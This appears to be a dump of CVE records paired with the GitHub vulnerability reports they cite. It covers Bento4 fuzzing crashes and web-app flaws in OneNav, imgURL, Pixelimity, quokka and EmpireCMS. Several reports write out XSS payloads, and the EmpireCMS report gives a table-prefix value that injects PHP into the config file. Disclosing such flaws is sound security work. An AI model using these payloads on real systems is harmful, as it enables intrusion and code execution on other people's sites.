93 m_SubStreams[i].acmod = (payload[1]>>1) & 0x7;
94 m_SubStreams[i].lfeon = (payload[1] ) & 0x1;
95 m_SubStreams[i].num_dep_sub = (payload[2]>>1) & 0xF;
96 if (m_SubStreams[i].num_dep_sub) {
97 m_SubStreams[i].chan_loc = (payload[2]<<7 | payload[3]) & 0x1F;
98 payload += 4;
99 payload_size -= 4;
100 } else {
101 m_SubStreams[i].chan_loc = 0;
102 payload += 3;
```
### bug report
```txt
=================================================================
==858==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eeff at pc 0x000000673435 bp 0x7ffdd9983710 sp 0x7ffdd9983700
READ of size 1 at 0x60200000eeff thread T0
#0 0x673434 in AP4_Dec3Atom::AP4_Dec3Atom(unsigned int, unsigned char const*) /src/bento4/Source/C++/Core/Ap4Dec3Atom.cpp:97
#1 0x673ac8 in AP4_Dec3Atom::Create(unsigned int, AP4_ByteStream&) /src/bento4/Source/C++/Core/Ap4Dec3Atom.cpp:56
#2 0x57ce5f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:717
#3 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#4 0x5735f8 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#5 0x521289 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4SampleEntry.cpp:115
#6 0x521289 in AP4_AudioSampleEntry::AP4_AudioSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4SampleEntry.cpp:420
#7 0x4e2d5d in AP4_EncaSampleEntry::AP4_EncaSampleEntry(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4Protection.cpp:74
#8 0x57c570 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:285
#9 0x582669 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#10 0x53034e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4StsdAtom.cpp:101
#11 0x532124 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4StsdAtom.cpp:57
#12 0x57e3fb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:424
#13 0x58185d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:221
#14 0x58185d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /src/bento4/Source/C++/Core/Ap4AtomFactory.cpp:151
#15 0x5002c7 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /src/bento4/Source/C++/Core/Ap4File.cpp:104
#16 0x5002c7 in AP4_File::AP4_File(AP4_ByteStream&, bool) /src/bento4/Source/C++/Core/Ap4File.cpp:78
#17 0x43ec52 in main /src/bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250
#18 0x7f83e4c7182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#19 0x442c18 in _start (/src/aflbuild/installed/bin/mp42aac+0x442c18)
0x60200000eeff is located 0 bytes to the right of 15-byte region [0x60200000eef0,0x60200000eeff)
allocated by thread T0 here:
#0 0x7f83e564c6b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x506326 in AP4_DataBuffer::AP4_DataBuffer(unsigned int) /src/bento4/Source/C++/Core/Ap4DataBuffer.cpp:55
#2 0xe (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/bento4/Source/C++/Core/Ap4Dec3Atom.cpp:97 AP4_Dec3Atom::AP4_Dec3Atom(unsigned int, unsigned char const*)
Shadow bytes around the buggy address:
0x0c047fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa 00 07 fa fa 00[07]
0x0c047fff9de0: fa fa 00 fa fa fa 01 fa fa fa fd fa fa fa 04 fa
0x0c047fff9df0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==858==ABORTING
```
### others
from fuzz project pwd-bento4-mp42aac-00
crash name AP4_Dec3Atom::AP4_Dec3Atom@Ap4Dec3Atom.cpp-97___heap-buffer-overflow
Auto-generated by pyspider at 2019-07-17 17:12:37
please send email to teamseri0us360@gmail.com if you have any questions.
### input
[input](https://github.com/zhanggenex/poc/blob/master/bento4/vuln1/AP4_Dec3Atom::AP4_Dec3Atom%40Ap4Dec3Atom.cpp-97___heap-buffer-overflow) | 2 Potential Buffer Overflow Vulnerabilities | https://api.github.com/repos/axiomatic-systems/Bento4/issues/408/comments | 0 | 2019-07-19T06:39:22Z | 2019-08-25T16:24:15Z | https://github.com/axiomatic-systems/Bento4/issues/408 | 470,163,532 | 408 | 2,323 |
CVE-2021-38712 | 2021-08-16T04:15:07.763 | OneNav 0.9.12 allows Information Disclosure of the onenav.db3 contents. NOTE: the vendor's recommended solution is to block the access via an NGINX configuration file. | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
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"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
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"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/helloxz/onenav/issues/25"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/helloxz/onenav/issues/25"
}
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] | 668 | https://github.com/helloxz/onenav/issues/25 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"helloxz",
"onenav"
] | # disclosure of information about sqlite
### I download this cms and i first install it .
# index.php:
```
if( !file_exists('./data/config.php') ) {
exit('<h3>配置文件不存在，请将站点目录下的config.simple.php复制为data/config.php</h3>');
}
//检查数据库是否存在，不存在则复制数据库
if( !file_exists('./data/onenav.db3') ) {
copy('db/onenav.simple.db3','data/onenav.db3');
// copy('db/.htaccess','data/.htaccess');
}
//载入配置文件
require("./data/config.php");
//根据不同的请求载入不同的方法
//如果没有请求控制器
if((!isset($c)) || ($c == '')){
//载入主页
include_once("./controller/index.php");
}
else{
include_once("./controller/".$c.'.php');
}
```
### bug code :
```
if( !file_exists('./data/onenav.db3') ) {
copy('db/onenav.simple.db3','data/onenav.db3');
```
then i try to require "./data/onenav.db3" and "/data/.htaccess" http response status 200
it means i can download onenav.db3 and
can gets some privacy information
### you can add some random code to document name or sqlite database name .
this cms has many users.
| disclosure of information about sqlite | https://api.github.com/repos/helloxz/onenav/issues/25/comments | 1 | 2021-08-04T08:58:49Z | 2022-04-02T06:04:30Z | https://github.com/helloxz/onenav/issues/25 | 960,099,838 | 25 | 2,324 |
CVE-2021-38713 | 2021-08-16T04:15:07.803 | imgURL 2.31 allows XSS via an X-Forwarded-For HTTP header. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "LOW",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 6.8,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
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"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
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"impactScore": 2.7,
"source": "nvd@nist.gov",
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}
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"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/helloxz/imgurl/issues/72"
},
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] | 79 | https://github.com/helloxz/imgurl/issues/72 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"helloxz",
"imgurl"
] | Hi, how is going? I test imgurl upload functions. And I found a XSS vulnarability.
## First step：
Put payload on upload header : `X-Forwarded-For: "><img src=# onerror=alert(/a/)>`
## Second
then web administrator click
---
## The method to solve it:
all the request header filter special character。
过滤http请求头的所有特殊字符。 | Store Cross Site Script Attack on Upload HTTP Request Header | https://api.github.com/repos/helloxz/imgurl/issues/72/comments | 1 | 2021-08-16T02:29:43Z | 2024-03-31T12:35:47Z | https://github.com/helloxz/imgurl/issues/72 | 971,307,723 | 72 | 2,325 |
CVE-2021-38751 | 2021-08-16T14:15:07.100 | A HTTP Host header attack exists in ExponentCMS 2.6 and below in /exponent_constants.php. A modified HTTP header can change links on the webpage to an arbitrary value, leading to a possible attack vector for MITM. | {
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}
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}
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} | [
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"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/exponentcms/exponent-cms/issues/1544"
},
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] | github.com | [
"exponentcms",
"exponent-cms"
] | Host value in HTTP header is not checked. Modifying Host header in HTTP request modifies the all links to an arbitrary value. Included example request, result, and location of bug in the source code.
| HTTP Host Header Attack | https://api.github.com/repos/exponentcms/exponent-cms/issues/1544/comments | 0 | 2021-08-10T04:04:36Z | 2021-09-09T14:53:31Z | https://github.com/exponentcms/exponent-cms/issues/1544 | 964,573,369 | 1,544 | 2,326 |
CVE-2021-38754 | 2021-08-16T14:15:07.213 | SQL Injection vulnerability in Hospital Management System due to lack of input validation in messearch.php. | {
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},
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"tags": [
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"Third Party Advisory"
] | github.com | [
"kishan0725",
"Hospital-Management-System"
] | Intercept message search and save contents into a text file.
Run SQLmap
Area of concern in messearch.php
| SQL Injection Vulnerability in Message Search | https://api.github.com/repos/kishan0725/Hospital-Management-System/issues/7/comments | 1 | 2021-08-11T02:47:29Z | 2021-09-08T07:21:21Z | https://github.com/kishan0725/Hospital-Management-System/issues/7 | 965,761,596 | 7 | 2,327 |
CVE-2021-38755 | 2021-08-16T14:15:07.250 | Unauthenticated doctor entry deletion in Hospital Management System in admin-panel1.php. | {
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Crafted HTTP packet can delete doctors without being authenticated as receptionist/admin.
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After:
| Unauthenticated Doctor Deletion Vulnerability | https://api.github.com/repos/kishan0725/Hospital-Management-System/issues/5/comments | 0 | 2021-08-11T02:12:04Z | 2021-08-11T02:12:04Z | https://github.com/kishan0725/Hospital-Management-System/issues/5 | 965,719,176 | 5 | 2,328 |
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Login as ADMIN
Persistent XSS upon logging in as ADMIN
Issue in prescribe.php
| Persistent Cross Site Scripting (XSS) Vulnerability in Prescription | https://api.github.com/repos/kishan0725/Hospital-Management-System/issues/4/comments | 0 | 2021-08-11T01:57:20Z | 2021-08-11T01:57:20Z | https://github.com/kishan0725/Hospital-Management-System/issues/4 | 965,701,267 | 4 | 2,329 |
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Log in as receptionist/admin.
| Persistent Cross Site Scripting (XSS) Vulnerability in Contact Page | https://api.github.com/repos/kishan0725/Hospital-Management-System/issues/6/comments | 0 | 2021-08-11T02:15:37Z | 2021-08-11T02:15:37Z | https://github.com/kishan0725/Hospital-Management-System/issues/6 | 965,723,335 | 6 | 2,330 |
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Description:
Login brute force vulnerability in app/api/cms/user.py 43 line login() function.
No need to limit the number of logins and set the verification code will cause the username and password to be brute force, like this:
author by jin.dong@dbappsecurity.com.cn | Login brute force Vulnerability in Latest Release | https://api.github.com/repos/TaleLin/lin-cms-flask/issues/27/comments | 2 | 2019-03-14T13:54:47Z | 2021-08-17T08:16:52Z | https://github.com/TaleLin/lin-cms-flask/issues/27 | 421,031,873 | 27 | 2,331 |
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Description:
Cross-site scripting (XSS) vulnerability in app/api/cms/user.py 12 line register() function and app/api/cms/log.py 23 line get_logs() function.
User name usage XSS payload will be executed in the log when registering users
Steps To Reproduce:
1.Add a user, the username is xss payload.
2.Then use the username login, see the log manager find the xss payload already executed, the super user also can find.
author by jin.dong@dbappsecurity.com.cn | Cross Site Scripting Vulnerability in Latest Release | https://api.github.com/repos/TaleLin/lin-cms-flask/issues/28/comments | 2 | 2019-03-14T14:10:04Z | 2021-08-17T08:17:22Z | https://github.com/TaleLin/lin-cms-flask/issues/28 | 421,040,241 | 28 | 2,332 |
CVE-2020-18701 | 2021-08-16T18:15:07.097 | Incorrect Access Control in Lin-CMS-Flask v0.1.1 allows remote attackers to obtain sensitive information and/or gain privileges due to the application not invalidating a user's authentication token upon logout, which allows for replaying packets. | {
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"TaleLin",
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Description:
Identity authentication vulnerability in the logout, When you log out, the authentication token is still valid.
Steps To Reproduce:
1.Login the background
2.Do something, like list users
3.Logout
4.Replay packet, can see the user list.
author by jin.dong@dbappsecurity.com.cn | Identity authentication vulnerability in Latest Release | https://api.github.com/repos/TaleLin/lin-cms-flask/issues/30/comments | 3 | 2019-03-14T14:24:59Z | 2022-01-19T00:33:55Z | https://github.com/TaleLin/lin-cms-flask/issues/30 | 421,049,012 | 30 | 2,333 |
CVE-2020-18702 | 2021-08-16T18:15:07.137 | Cross Site Scripting (XSS) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the 'Username' parameter in the component 'quokka/admin/actions.py'. | {
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] | [
"79"
] | 79 | https://github.com/rochacbruno/quokka/issues/675 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"rochacbruno",
"quokka"
] | Hi, I would like to report Cross Site Scripting vulnerability in latest release.
Description:
Cross-site scripting (XSS) vulnerability inquokka/admin/actions.py 90, 151 line, Because there is no filter username.
The vulnerability code is:
`
flash(Markup(
f'Profile block for {user["username"]} '
f'Created at: '
f'<a href="{newlink}">{new.inserted_id}</a>'
))
`
Steps To Reproduce:
1.Create a user, username is xss payload, like: <script>alert(3)</script>
2.Select the username and Create user profile block, then trigger the payload.
author by jin.dong@dbappsecurity.com.cn | Cross Site Scripting Vulnerability in Latest Release | https://api.github.com/repos/quokkaproject/quokka/issues/675/comments | 1 | 2019-03-21T08:21:29Z | 2019-06-07T14:16:34Z | https://github.com/quokkaproject/quokka/issues/675 | 423,613,471 | 675 | 2,334 |
CVE-2020-18703 | 2021-08-16T18:15:07.170 | XML External Entities (XXE) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the component 'quokka/utils/atom.py'. | {
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"baseScore": 7.5,
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"exploitabilityScore": 10,
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"611"
] | 611 | https://github.com/rochacbruno/quokka/issues/676 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"rochacbruno",
"quokka"
] | Hi, I would like to report XML External Entity (XXE) vulnerability in latest release.
Description:
XML External Entity (XXE) vulnerability in quokka/utils/atom.py 157 line and auokka/core/content/views.py 94 line, Because there is no filter authors, title.
Steps To Reproduce:
1.Create a article, title and authors can insert XML payload.
2.Open the url:
http://192.168.100.8:8000/author/{author}/index.rss
http://192.168.100.8:8000/author/{author}/index.atom
can see the title and authors has inserted into the XML.
author by jin.dong@dbappsecurity.com.cn | XML External Entity (XXE) Vulnerability in Latest Release | https://api.github.com/repos/quokkaproject/quokka/issues/676/comments | 1 | 2019-03-21T08:49:11Z | 2019-07-17T11:15:50Z | https://github.com/quokkaproject/quokka/issues/676 | 423,621,847 | 676 | 2,335 |
CVE-2020-18704 | 2021-08-16T18:15:07.207 | Unrestricted Upload of File with Dangerous Type in Django-Widgy v0.8.4 allows remote attackers to execute arbitrary code via the 'image' widget in the component 'Change Widgy Page'. | {
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"baseScore": 7.5,
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] | 434 | https://github.com/fusionbox/django-widgy/issues/387 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"fusionbox",
"django-widgy"
] | Hi, I would like to report unrestricted file upload vulnerability in demo site.
Description:
Unrestricted File Upload Vulnerability in demo site image widget.
Steps To Reproduce:
1. First in the page builder create a image widget and edit it.
2. Then upload file, you can upload any file you want.
3. Find you upload file URL
4. Open the URL you can see the page execution
author by jin.dong@dbappsecurity.com.cn | Unrestricted File Upload Vulnerability in demo site | https://api.github.com/repos/fusionbox/django-widgy/issues/387/comments | 1 | 2019-07-09T08:11:03Z | 2019-07-09T17:48:34Z | https://github.com/fusionbox/django-widgy/issues/387 | 465,634,968 | 387 | 2,336 |
CVE-2021-29056 | 2021-08-17T18:15:07.090 | Cross Site Scripting (XSS) vulnerability exists in Pixelimity 1.0 via the HTTP POST parameter to admin/setting.php. | {
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"79"
] | 79 | https://github.com/pixelimity/pixelimity/issues/21 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"pixelimity",
"pixelimity"
] | Product: pixelimity
Download: https://github.com/pixelimity/pixelimity/
Vunlerable Version: latest version
Tested Version: latest version
Author:qianxiao996
Description: Pixelimity CMS is prone to a Persistent Cross-Site Scripting attack that allows a malicious user to inject HTML or scripts that can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site.
Advisory Details:
A Cross-Site Scripting (XSS) was discovered in “portfolio latest version”, which can be exploited to execute arbitrary code.
The vulnerability exist due to insufficient filtration of user-supplied data in the “data%5Bsite_name%5D” HTTP POST parameter passed to the “/admin/setting.php” URL. An attacker could execute arbitrary HTML and script code in a browser in the context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to see a pop-up messagebox:
Proof of concept:
1、Login as admin.
2、Locate URL - http://127.0.0.39/pixelimity/admin/portfolio.php and click on "Setting"
3、Put XSS payload in the "data%5Bsite_name%5D" parameter Pixelimity"><script>alert(1)</script> and click on "Save Setting"
| pixelimity – Cross-Site Scripting (XSS) in "admin/portfolio.php" | https://api.github.com/repos/pixelimity/pixelimity/issues/21/comments | 1 | 2021-03-22T08:44:13Z | 2021-03-25T05:58:36Z | https://github.com/pixelimity/pixelimity/issues/21 | 837,472,570 | 21 | 2,337 |
CVE-2020-22937 | 2021-08-17T19:15:07.250 | A remote code execution (RCE) in e/install/index.php of EmpireCMS 7.5 allows attackers to execute arbitrary PHP code via writing malicious code to the install file. | {
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] | 94 | https://github.com/leadscloud/EmpireCMS/issues/4 | [
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"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"leadscloud",
"EmpireCMS"
] | **Brief of this vulnerability**
EmpireCMS_7.5 , when installing cms you can write PHP code to config file and execute arbitrary PHP code.
**Test Environment**
* Windows10
* PHP 5.6.27+Apache/2.4.18
**Affect version**
EmpireCMS 7.5
**Vulnerable Code**
* `e/install/index.php`
```
<tr bgcolor="#FFFFFF">
<td height="25"><font color="#009900">表名前缀(*):</font></td>
<td><input name="mydbtbpre" type="text" id="mydbtbpre" value="phome_" size="30"></td>
<td><font color="#666666">同一数据库安装多个CMS时可改变默认，不能数字开头</font></td>
</tr>
```
Table prefix of database with `phome_`
* `e/install/index.php`
```
if($enews=="setdb"&&$ok)
{
SetDb($_POST);
}
```
* `data/fun.php`
```
function SetDb($add){
global $version;
if(!$add['mydbver']||!$add['mydbhost']||!$add['mydbname']||!$add['mydbtbpre']||!$add['mycookievarpre']||!$add['myadmincookievarpre'])
{
InstallShowMsg('带*项不能为空');
}
//链接数据库
$dbver=InstallConnectDb($add['mydbver'],$add['mydbhost'],$add['mydbport'],$add['mydbusername'],$add['mydbpassword'],$add['mydbname'],$add['mysetchar'],$add['mydbchar']);
if($add['mydbver']=='auto')
{
$add['mydbver']=$dbver;
}
//初使化网站信息
$siteurl=ReturnEcmsSiteUrl();
$add['keyrnd']=ins_make_password(32);
$add['downpass']=ins_make_password(20);
$add['hkeyrnd']=ins_make_password(36);
$add['ctimernd']=ins_make_password(42);
$add['autodopostpass']=ins_make_password(60);
//配置文件
RepEcmsConfig($add,$siteurl);
//执行SQL语句
DoRunQuery(ReturnInstallSql(0),$add['mydbchar'],$add['mydbtbpre'],$add['mydbver']);
do_dbquery_common("update ".$add['mydbtbpre']."enewspublic set newsurl='$siteurl',fileurl='".$siteurl."d/file/',softversion='$version',keyrnd='$add[keyrnd]',downpass='$add[downpass]',hkeyrnd='$add[hkeyrnd]' limit 1",$GLOBALS['link']);
do_dbquery_common("update ".$add['mydbtbpre']."enewspublicadd set ctimernd='$add[ctimernd]',autodopostpass='$add[autodopostpass]' limit 1",$GLOBALS['link']);
do_dbquery_common("update ".$add['mydbtbpre']."enewspl_set set plurl='".$siteurl."e/pl/' limit 1",$GLOBALS['link']);
do_dbquery_common("update ".$add['mydbtbpre']."enewsshoppayfs set payurl='".$siteurl."e/payapi/ShopPay.php?paytype=alipay' where payid=3",$GLOBALS['link']);
do_dbclose($GLOBALS['link']);
echo"配置数据库完毕，正进入系统模型数据导入......<script>self.location.href='index.php?enews=moddata&f=4&ok=1&defaultdata=$add[defaultdata]';</script>";
exit();
}
```
**function `SetDb` will parse `$_POST` to `$add` and then update the config file by call `RepEcmsConfig($add,$siteurl);`**
```
//处理配置文件
function RepEcmsConfig($add,$siteurl){
global $headerchar;
//初使化配置文件
$fp=@fopen("data/config.php","r");
if(!$fp)
{
InstallShowMsg('请检查 /e/install/data/config.php 文件是否存在!');
}
$data=@fread($fp,filesize("data/config.php"));
fclose($fp);
$data=str_replace('<!--dbtype.phome.net-->',$add['mydbtype'],$data);
$data=str_replace('<!--dbver.phome.net-->',$add['mydbver'],$data);
$data=str_replace('<!--host.phome.net-->',$add['mydbhost'],$data);
$data=str_replace('<!--port.phome.net-->',$add['mydbport'],$data);
$data=str_replace('<!--username.phome.net-->',$add['mydbusername'],$data);
$data=str_replace('<!--password.phome.net-->',$add['mydbpassword'],$data);
$data=str_replace('<!--name.phome.net-->',$add['mydbname'],$data);
$data=str_replace('<!--char.phome.net-->',$add['mysetchar'],$data);
$data=str_replace('<!--dbchar.phome.net-->',$add['mydbchar'],$data);
$data=str_replace('<!--tbpre.phome.net-->',$add['mydbtbpre'],$data);
$data=str_replace('<!--cookiepre.phome.net-->',$add['mycookievarpre'],$data);
$data=str_replace('<!--admincookiepre.phome.net-->',$add['myadmincookievarpre'],$data);
$data=str_replace('<!--headerchar.phome.net-->',$headerchar,$data);
$data=str_replace('<!--cookiernd.phome.net-->',ins_make_password(36),$data);
$data=str_replace('<!--qcookiernd.phome.net-->',ins_make_password(35),$data);
$data=str_replace('<!--qcookierndtwo.phome.net-->',ins_make_password(34),$data);
$data=str_replace('<!--qcookierndthree.phome.net-->',ins_make_password(33),$data);
$data=str_replace('<!--qcookierndfour.phome.net-->',ins_make_password(32),$data);
$data=str_replace('<!--qcookierndfive.phome.net-->',ins_make_password(31),$data);
$data=str_replace('<!--ecms.newsurl-->',$siteurl,$data);
$data=str_replace('<!--ecms.fileurl-->',$siteurl."d/file/",$data);
$data=str_replace('<!--ecms.plurl-->',$siteurl."e/pl/",$data);
$data=str_replace('<!--ecms.downpass-->',$add['downpass'],$data);
$data=str_replace('<!--ecms.hkeyrnd-->',$add['hkeyrnd'],$data);
$data=str_replace('<!--ecms.ctimernd-->',$add['ctimernd'],$data);
$data=str_replace('<!--ecms.autodopostpass-->',$add['autodopostpass'],$data);
$data=str_replace('<!--ecms.keyrnd-->',$add['keyrnd'],$data);
//写入配置文件
$fp1=@fopen("../config/config.php","w");
if(!$fp1)
{
InstallShowMsg(' /e/config/config.php 文件权限没有设为0777，配置数据库不成功');
}
@fputs($fp1,$data);
@fclose($fp1);
}
```
**`$data=str_replace('<!--tbpre.phome.net-->',$add['mydbtbpre'],$data);` will parse `mydbtbpre` into `$data` then write `$data` into `../config/config.php`**
**Vulnerability display**
When install cms, set `mydbtbpre=phome_';phpinfo();//`
Trigger vulnerability
**Vulnerability description && Fix suggestion**
The attacker can write malicious PHP code to the config file through install file and execute to obtain webshell.
Add PHP character filter in install file. And restrict file execution permissions and directories. | Code Injection EmpireCMS_7.5 | https://api.github.com/repos/leadscloud/EmpireCMS/issues/4/comments | 0 | 2020-04-21T12:03:46Z | 2020-04-21T12:03:46Z | https://github.com/leadscloud/EmpireCMS/issues/4 | 603,943,915 | 4 | 2,338 |
CVE-2020-23330 | 2021-08-17T22:15:07.823 | An issue was discovered in Bento4 version 06c39d9. A NULL pointer dereference exists in the AP4_Stz2Atom::GetSampleSize component located in /Core/Ap4Stz2Atom.cpp. It allows an attacker to cause a denial of service (DOS). | {
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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"axiomatic-systems",
"Bento4"
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./mp42aac @@ /tmp/out.aac
# Information provided by address sanitizer
AddressSanitizer:DEADLYSIGNAL
=================================================================
==22974==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000068223f bp 0x7ffedd403b10 sp 0x7ffedd403970 T0)
==22974==The signal is caused by a READ memory access.
==22974==Hint: address points to the zero page.
#0 0x68223e in AP4_Stz2Atom::GetSampleSize(unsigned int, unsigned int&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Stz2Atom.cpp:197:23
#1 0x5d8790 in AP4_AtomSampleTable::GetSample(unsigned int, AP4_Sample&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomSampleTable.cpp
#2 0x5a32ce in AP4_Track::GetSample(unsigned int, AP4_Sample&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Track.cpp:435:43
#3 0x5a32ce in AP4_Track::ReadSample(unsigned int, AP4_Sample&, AP4_DataBuffer&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Track.cpp:469
#4 0x571a80 in WriteSamples(AP4_Track*, AP4_SampleDescription*, AP4_ByteStream*) /home/natalie/Downloads/Bento4-master/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:192:12
#5 0x571a80 in main /home/natalie/Downloads/Bento4-master/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:281
#6 0x7f865b36f1e2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x271e2)
#7 0x45c96d in _start (/home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac-asan+0x45c96d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Stz2Atom.cpp:197:23 in AP4_Stz2Atom::GetSampleSize(unsigned int, unsigned int&)
==22974==ABORTING
# Information provided by crashwalk:
---CRASH SUMMARY---
Filename: id:000397,sig:11,src:005796+004474,op:splice,rep:4
SHA1: 3765c3464711c3352df8daac331db1a61870e86a
Classification: PROBABLY_NOT_EXPLOITABLE
Hash: 07d82808978ec56bef294c76fd303f3b.07d82808978ec56bef294c76fd303f3b
Command: ./mp42aac psym-crashes/id:000397,sig:11,src:005796+004474,op:splice,rep:4 /tmp/out.aac
Faulting Frame:
AP4_Stz2Atom::GetSampleSize(unsigned int, unsigned int&) @ 0x00005555555f9b74: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Disassembly:
0x00005555555f9b67: jb 0x5555555f9b80 <_ZN12AP4_Stz2Atom13GetSampleSizeEjRj+32>
0x00005555555f9b69: test esi,esi
